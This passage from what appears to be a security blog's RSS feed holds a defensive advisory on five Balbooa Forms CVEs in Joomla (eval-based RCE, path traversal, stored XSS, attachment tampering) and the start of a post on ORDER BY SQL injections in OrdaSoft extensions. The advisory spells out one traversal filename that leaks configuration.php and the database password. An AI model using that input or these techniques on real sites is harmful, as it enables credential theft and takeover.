</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>wordpress</category><category>site management</category><category>agency tools</category><enclosure url="https://mysites.guru/img/og/blog/how-to-delete-a-site-from-mysites-guru.png" length="0" type="image/png"/></item><item><title>Balbooa Forms 2.4.3.4 Fixes Five Security Issues</title><link>https://mysites.guru/blog/balbooa-forms-2-4-3-4-security-fixes/</link><guid isPermaLink="true">https://mysites.guru/blog/balbooa-forms-2-4-3-4-security-fixes/</guid><description>Balbooa Forms 2.4.3.4 fixes five CVEs in the Joomla form builder, led by a 9.5 unauthenticated RCE. Every version below 2.4.3.4 is affected. Update now.</description><pubDate>Tue, 29 Sep 2026 10:26:24 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.balbooa.com/blog/forms/balbooa-forms-2-4-3-4-security-hardening&quot;&gt;Balbooa released Forms 2.4.3.4&lt;/a&gt; on 29 September 2026 and asked every customer to install it as soon as possible. The release note lists five security fixes in the Joomla form builder (&lt;code&gt;com_baforms&lt;/code&gt;), and the Joomla CNA published a CVE for each of them the same afternoon. All five are reachable by an anonymous visitor through a public form. The worst, scored CVSS 9.5, is remote code execution through the post-submission PHP action, the same feature behind a CVSS 10.0 CVE in August.&lt;/p&gt;
&lt;p&gt;The CVE records put every Balbooa Forms release from 1.0.0 to 2.4.3.3 in range. If your sites run 2.4.3.3, as a large share of Balbooa Forms sites in the mySites.guru database still did on release day, they need this update. So does 2.4.3.2, the version everyone was told to install seven weeks ago.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;p&gt;Update every Balbooa Forms install to &lt;strong&gt;2.4.3.4&lt;/strong&gt;, then confirm the component reports 2.4.3.4. The flaws were reported by Sergiy Tryzhychynskyi and Łukasz Rybak, and David Jardin of the Joomla Security Strike Team coordinated the disclosure. The Joomla CNA scores the five CVEs from 6.9 to 9.5 and gives the affected range as every version below 2.4.3.4, which is what mySites.guru now flags.&lt;/p&gt;
&lt;h2&gt;What Balbooa Forms 2.4.3.4 fixes&lt;/h2&gt;
&lt;p&gt;Balbooa’s release note is a short table. The CVE records the Joomla CNA published later the same day describe each flaw in more detail, and everything below comes from those two sources. We have not diffed 2.4.3.3 against 2.4.3.4 ourselves.&lt;/p&gt;









































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;CVE&lt;/th&gt;&lt;th&gt;Severity&lt;/th&gt;&lt;th&gt;What it is&lt;/th&gt;&lt;th&gt;Login needed?&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102425/&quot;&gt;CVE-2026-102425&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Critical 9.5&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Code injection through field shortcodes in the post-submission PHP action&lt;/td&gt;&lt;td&gt;No, if the form uses a PHP action&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102424/&quot;&gt;CVE-2026-102424&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;High 8.9&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Path traversal that emails server files out through auto-reply attachments&lt;/td&gt;&lt;td&gt;No, if auto-replies attach uploads&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-101127/&quot;&gt;CVE-2026-101127&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;High 8.6&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Stored XSS through the uploaded filename, shown to administrators&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-101112/&quot;&gt;CVE-2026-101112&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Medium 6.9&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Deletion of any visitor’s attachment via &lt;code&gt;removeTmpAttachment&lt;/code&gt;&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-101126/&quot;&gt;CVE-2026-101126&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;span&gt;Medium 6.9&lt;/span&gt;&lt;/td&gt;&lt;td&gt;Tampering with attachment filenames and references on submission&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;h3&gt;Remote code execution through the PHP action&lt;/h3&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.5&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-102425/&quot;&gt;CVE-2026-102425&lt;/a&gt;Unauthenticated RCE via field shortcode injection&lt;/p&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;the Joomla CNA&lt;/span&gt;&lt;/p&gt;&lt;p&gt;An anonymous visitor who submits a form set up with a PHP action can run their own PHP on the server. The attack requirement is the form configuration: no PHP action, or no visitor-supplied shortcode inside a double-quoted string, and there is nothing to exploit.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Forms with a PHP action&lt;/span&gt;&lt;span&gt;Fixed in 2.4.3.4&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:P&lt;/dt&gt;&lt;dd&gt;Present: Needs a particular deployment or race to line up&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:H&lt;/dt&gt;&lt;dd&gt;High: Data on other systems can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:H&lt;/dt&gt;&lt;dd&gt;High: Other systems can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Balbooa Forms lets an administrator attach custom PHP to run after a form is submitted, and lets that PHP include field values through shortcodes. According to the CVE record, the component swaps each shortcode for the raw value the visitor typed and then passes the result to &lt;code&gt;eval()&lt;/code&gt;. A form whose PHP puts a field shortcode inside a double-quoted string therefore runs whatever a visitor submits in that field.&lt;/p&gt;
&lt;p&gt;In August, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67364/&quot;&gt;CVE-2026-67364&lt;/a&gt; showed that a shortcode fed from a URL parameter could inject code into the same PHP, scored 10.0 and fixed in 2.4.3.2. This record is the same feature reached through ordinary form fields, and it puts 2.4.3.2 and 2.4.3.3 in range, so the August fix did not cover it. It only matters on forms where an administrator has set up a PHP action, which is a minority, but on those forms it is a complete takeover.&lt;/p&gt;
&lt;h3&gt;A path traversal into auto-reply emails&lt;/h3&gt;
&lt;p&gt;Balbooa Forms can send the person who filled in a form an automatic reply, and those emails can attach the files they uploaded. The CVE record confirms what the vendor’s “LFI protection” wording suggested. The final submission accepts the upload-field state as JSON from the visitor, trusts the filename in it, and joins it to the upload folder without checking the file exists, belongs to them or stays inside that folder. A visitor can submit &lt;code&gt;../../../../configuration.php&lt;/code&gt; as a filename and receive the site’s configuration file, database password included, at the address they typed into the form.&lt;/p&gt;
&lt;p&gt;That only applies where a form has auto-reply switched on with uploaded files attached, so many sites are not exposed to it. You cannot tell which forms are set up that way without opening each one, and updating takes less time.&lt;/p&gt;
&lt;h3&gt;Other visitors’ attachments&lt;/h3&gt;
&lt;p&gt;Two fixes, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-101112/&quot;&gt;CVE-2026-101112&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-101126/&quot;&gt;CVE-2026-101126&lt;/a&gt;, concern the files a visitor uploads while filling in a form. Before 2.4.3.4, &lt;code&gt;removeTmpAttachment&lt;/code&gt; did not check that the attachment belonged to the person asking to delete it, so anyone could delete temporary or stored attachments from other people’s sessions. The final submission step had the same gap: the attachment references sent with a form were not tied to the session that uploaded them, so an attacker could point a submission at someone else’s file. The session token the form checks stops cross-site requests, but any guest can get a token for their own session, so it authorises nothing. Neither runs code. On a form that collects CVs, ID documents or signed paperwork, though, an attacker could delete or swap what a real applicant sent, and you would find out only when the file you needed was missing or wrong.&lt;/p&gt;
&lt;h3&gt;Stored XSS through a filename&lt;/h3&gt;
&lt;p&gt;In &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-101127/&quot;&gt;CVE-2026-101127&lt;/a&gt;, the upload endpoint checks a file’s extension and MIME type but stores the original filename exactly as sent. When an administrator opens the submission, the component’s JavaScript writes that name into the page through &lt;code&gt;innerHTML&lt;/code&gt;. A filename is whatever the uploader says it is, so an anonymous visitor can plant script that runs when an administrator opens the submission. Script running in a Super User’s browser can do anything that Super User can, including installing extensions.&lt;/p&gt;
&lt;h2&gt;Which Balbooa Forms sites are affected?&lt;/h2&gt;
&lt;p&gt;All five CVE records give the same range: every release from 1.0.0 to 2.4.3.3. mySites.guru flags &lt;strong&gt;every Balbooa Forms version below 2.4.3.4&lt;/strong&gt; for these five CVEs. Releases below 2.4.3.2 are also flagged for earlier flaws, including &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65880/&quot;&gt;CVE-2026-65880&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67364/&quot;&gt;CVE-2026-67364&lt;/a&gt;, both unauthenticated remote code execution scored 10.0, so they are the most exposed. All of them need the same update.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6 in 10&lt;/div&gt;&lt;div&gt;Balbooa Forms installs on 2.4.3.2 or 2.4.3.3&lt;/div&gt;&lt;div&gt;Only this release affects them&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;1 in 6&lt;/div&gt;&lt;div&gt;Already on 2.4.3.4&lt;/div&gt;&lt;div&gt;The release is hours old&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;1 in 5&lt;/div&gt;&lt;div&gt;Still below 2.4.3.2&lt;/div&gt;&lt;div&gt;Exposed to the CVSS 10.0 flaws&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Share of Balbooa Forms component installs in the mySites.guru database, 29 September 2026.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Most sites that were two or three releases behind in August are now on 2.4.3.3, so their owners do update when told. The worry is the other end: one Balbooa Forms site in five is still on a version with a known unauthenticated remote code execution flaw, several releases after the fix and well after the July zero-day was being exploited.&lt;/p&gt;
&lt;h2&gt;What to do now&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Update Balbooa Forms to 2.4.3.4&lt;/strong&gt; on every Joomla site that runs it, through Joomla’s update manager or the mySites.guru mass updater.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check the version afterwards.&lt;/strong&gt; Open System, Manage, Extensions and confirm the Balbooa Forms component, not only the package, reads 2.4.3.4.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Look at your forms’ auto-replies.&lt;/strong&gt; If a form sends attachments in its auto-reply and a site stayed on an older version for a while, consider changing the database password in &lt;code&gt;configuration.php&lt;/code&gt; and your hosting control panel, because that is the file a path traversal would go after.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Check for administrator accounts you did not create&lt;/strong&gt;, since the stored XSS and the older flaws both lead to admin access.&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Find administrator accounts you never created&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;mySites.guru checks every connected site for this automatically and flags it the moment it appears. It runs as part of the full audit on every connected site.&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://mysites.guru/free-audit/?check=joomla/hacked/rogueadmins&quot;&gt;Check your site for free&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;p&gt;Still below 2.4.3.2?&lt;/p&gt;&lt;div&gt;&lt;p&gt;Those sites are exposed to the two unauthenticated remote code execution flaws from July and August, not only to this release. Update them first, then check them for PHP files in &lt;code&gt;images/baforms/&lt;/code&gt; and anything else under &lt;code&gt;images/&lt;/code&gt; you do not recognise. The &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;original Balbooa Forms post&lt;/a&gt; covers what to look for.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2&gt;Six Balbooa Forms security releases since July&lt;/h2&gt;
&lt;p&gt;This is the sixth security-related Balbooa Forms release in under three months:&lt;/p&gt;








































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Version&lt;/th&gt;&lt;th&gt;Date&lt;/th&gt;&lt;th&gt;What it fixed&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;2.4.1&lt;/td&gt;&lt;td&gt;9 July&lt;/td&gt;&lt;td&gt;Unauthenticated file upload to RCE, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-56291/&quot;&gt;CVE-2026-56291&lt;/a&gt;, which we found being exploited&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2.4.3&lt;/td&gt;&lt;td&gt;28 July&lt;/td&gt;&lt;td&gt;Unauthenticated RCE through the Signature field, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-65880/&quot;&gt;CVE-2026-65880&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2.4.3.1&lt;/td&gt;&lt;td&gt;31 July&lt;/td&gt;&lt;td&gt;Administrator-area hardening&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2.4.3.2&lt;/td&gt;&lt;td&gt;18 August&lt;/td&gt;&lt;td&gt;Released as hardening, then published as &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67364/&quot;&gt;CVE-2026-67364&lt;/a&gt; (PHP code injection, 10.0) and &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67363/&quot;&gt;CVE-2026-67363&lt;/a&gt; (payment amount tampering)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2.4.3.3&lt;/td&gt;&lt;td&gt;not stated&lt;/td&gt;&lt;td&gt;Balbooa published no security note for this release&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2.4.3.4&lt;/td&gt;&lt;td&gt;29 September&lt;/td&gt;&lt;td&gt;The five fixes above&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;There are two ways to read that list. The pessimistic reading is that a form builder that takes file uploads, runs PHP and handles payments from anonymous visitors has a lot of attack surface, and outside researchers keep finding more of it. The fairer one is that Balbooa ships fixes quickly, credits its reporters, emails its customers and coordinates with the Joomla Security Strike Team. For a site owner both lead to the same place: Balbooa Forms is an extension you keep on the current release all the time, not once a quarter.&lt;/p&gt;
&lt;p&gt;Sergiy Tryzhychynskyi was also credited on the August hardening release, and Łukasz Rybak reported the &lt;a href=&quot;https://mysites.guru/blog/sourcerer-14-unverified-content-php-execution/&quot;&gt;Sourcerer PHP execution flaw&lt;/a&gt; in Regular Labs’ extension, so Balbooa Forms now has experienced researchers looking at it.&lt;/p&gt;
&lt;h2&gt;How do I find every Balbooa Forms site I manage?&lt;/h2&gt;
&lt;p&gt;The hard part of an extension release is rarely the update. It is knowing which of your sites run the extension and which version each one is on. Past a dozen sites, logging in to each Joomla admin to check is how an install gets missed, and a missed install is how one site in five ends up still exposed to a July flaw at the end of September.&lt;/p&gt;
&lt;p&gt;mySites.guru keeps a live inventory of the extensions on each connected Joomla and WordPress site. Search for Balbooa Forms once and you get each site running it with its installed version. The 2.4.3.4 rule is already in our vulnerability database, so every connected site below 2.4.3.4 is flagged on your dashboard now, and the &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass updater&lt;/a&gt; pushes the update to all of them from one screen.&lt;/p&gt;
&lt;p&gt;The same subscription covers the checks that matter after a flaw like this: the audit looks for PHP files in upload folders, new administrator accounts and modified core files on every site, and flags them before a customer notices. It is all part of the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;subscription&lt;/a&gt;, with no add-ons.&lt;/p&gt;
&lt;p&gt;If a Balbooa Forms site has already been hit, &lt;a href=&quot;https://fix.mysites.guru/now&quot;&gt;fix.mySites.guru&lt;/a&gt; cleans it, updates it and audits it for backdoors for a single fixed fee, usually the same day.&lt;/p&gt;
&lt;h2&gt;Severity and CVE status&lt;/h2&gt;
&lt;p&gt;The Joomla CNA published all five CVE records on 29 September 2026 with CVSS 4.0 scores, and mySites.guru uses them as published: &lt;strong&gt;Critical&lt;/strong&gt; overall, from the 9.5 remote code execution flaw. The two most serious flaws have an attack requirement in their vector (&lt;code&gt;AT:P&lt;/code&gt;), because each only works on a form set up a particular way, with a PHP action or with auto-replies that attach uploads. The other three need nothing but a public form with an upload field. The affected range, 1.0.0 to 2.4.3.3, is the one the rule flags.&lt;/p&gt;
&lt;p&gt;Credit for the findings goes to Sergiy Tryzhychynskyi and Łukasz Rybak, and to David Jardin of the Joomla Security Strike Team for coordinating, per Balbooa’s release note. We did not find these issues.&lt;/p&gt;&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.balbooa.com/blog/forms/balbooa-forms-2-4-3-4-security-hardening&quot;&gt;Balbooa: Forms 2.4.3.4 Security Hardening&lt;/a&gt; - the vendor&apos;s release note.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-102425&quot;&gt;CVE-2026-102425 on cve.org&lt;/a&gt; - the Joomla CNA record for the 9.5 remote code execution flaw.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms Fixes an Unauthenticated File Upload RCE&lt;/a&gt; - the July zero-day we found, and the full run of releases since.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/gridbox-author-sql-injection/&quot;&gt;Blind SQL Injection in Gridbox&apos;s Blog Author&lt;/a&gt; - Balbooa&apos;s page builder, fixed a week earlier.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sourcerer-14-unverified-content-php-execution/&quot;&gt;Sourcerer 14 and 15 did not fix CVE-2026-74253&lt;/a&gt; - a Regular Labs flaw also reported by Łukasz Rybak.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/22.html&quot;&gt;CWE-22: Path Traversal&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/79.html&quot;&gt;CWE-79: Cross-site Scripting&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/94.html&quot;&gt;CWE-94: Code Injection&lt;/a&gt; - the weakness classes behind three of the fixes.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>balbooa</category><category>vulnerability</category><category>file-upload</category><category>cve</category><enclosure url="https://mysites.guru/img/og/blog/balbooa-forms-2-4-3-4-security-fixes.png" length="0" type="image/png"/></item><item><title>Three OrdaSoft Joomla Extensions Have Unauthenticated SQL Injections in Their Sort Order</title><link>https://mysites.guru/blog/ordasoft-joomla-extensions-sql-injection/</link><guid isPermaLink="true">https://mysites.guru/blog/ordasoft-joomla-extensions-sql-injection/</guid><description>Real Estate Manager, Vehicle Manager and Book Library for Joomla each have an SQL injection needing no login and a reflected XSS. Six CVEs and their fixes.</description><pubDate>Mon, 28 Sep 2026 19:49:04 GMT</pubDate><content:encoded>&lt;p&gt;Six CVEs published today by the Joomla CNA cover three Joomla extensions from &lt;a href=&quot;https://www.ordasoft.com/&quot;&gt;OrdaSoft&lt;/a&gt;: Real Estate Manager, Vehicle Manager and Book Library. Each extension has the same pair of flaws. The worse of the two is an SQL injection on the public listing pages that needs no login and scores CVSS 4.0 9.3 Critical, and the other is a reflected cross-site scripting flaw at 5.3 Medium.&lt;/p&gt;
&lt;p&gt;If a Joomla site you manage runs any of the three, it needs updating today. Real Estate Manager is fixed in 6.7.9 and Vehicle Manager in 6.5.8. Book Library’s record is less clear about its fix, which the section on versions below explains.&lt;/p&gt;
&lt;h2&gt;How mySites.guru flags these three extensions&lt;/h2&gt;
&lt;p&gt;mySites.guru records the exact version of every extension on every connected Joomla site twice a day. When the six records were published we added them to our Joomla vulnerability database, so any connected site running Real Estate Manager below 6.7.9, Vehicle Manager below 6.5.8 or Book Library below 6.4.6 is now flagged on its own site card and in its audit, with the version that resolves it. There is nothing to search for. If the extension is on the site, the flag is already there.&lt;/p&gt;
&lt;p&gt;The records name the Free editions of each extension. OrdaSoft’s Pro and ShopPro editions install under the same Joomla element and use the same version numbers, so the flag cannot tell them apart, and a Pro site below the fixed version is flagged too. Updating a Pro install that turns out to have been safe costs you a few minutes. Missing one that was not could cost you the database.&lt;/p&gt;
&lt;h2&gt;Three extensions let a visitor choose the sort column&lt;/h2&gt;
&lt;p&gt;All three extensions show lists of things: properties, vehicles, books. All three let the visitor sort those lists, and all three take the name of the sort column from the request and put it into the &lt;code&gt;ORDER BY&lt;/code&gt; clause of the query that builds the page. That is the whole flaw, repeated three times with small variations.&lt;/p&gt;
&lt;h3&gt;Real Estate Manager, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100752/&quot;&gt;CVE-2026-100752&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;In Real Estate Manager, &lt;code&gt;site/realestatemanager.php&lt;/code&gt; builds the &lt;code&gt;ORDER BY&lt;/code&gt; clause for three separate front-end queries (category browsing, search results and the full property listing) from the &lt;code&gt;order_field&lt;/code&gt; request parameter. The value is concatenated straight into the SQL with no allow-list of real column names and no cast.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-100752/&quot;&gt;CVE-2026-100752&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h3&gt;Vehicle Manager, &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-101108/&quot;&gt;CVE-2026-101108&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Vehicle Manager reads &lt;code&gt;order_field&lt;/code&gt; and &lt;code&gt;order_direction&lt;/code&gt; at three public entry points in &lt;code&gt;site/vehiclemanager.php&lt;/code&gt;: the category listing, search, and the all-vehicles listing. The difference here is that the code does try. It runs both values through a sanitising function that applies real escaping. Escaping does nothing for a value that ends up in an unquoted &lt;code&gt;ORDER BY&lt;/code&gt; clause, which the next section explains, so the injection works anyway.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;Joomla CNA · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-101108/&quot;&gt;CVE-2026-101108&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected 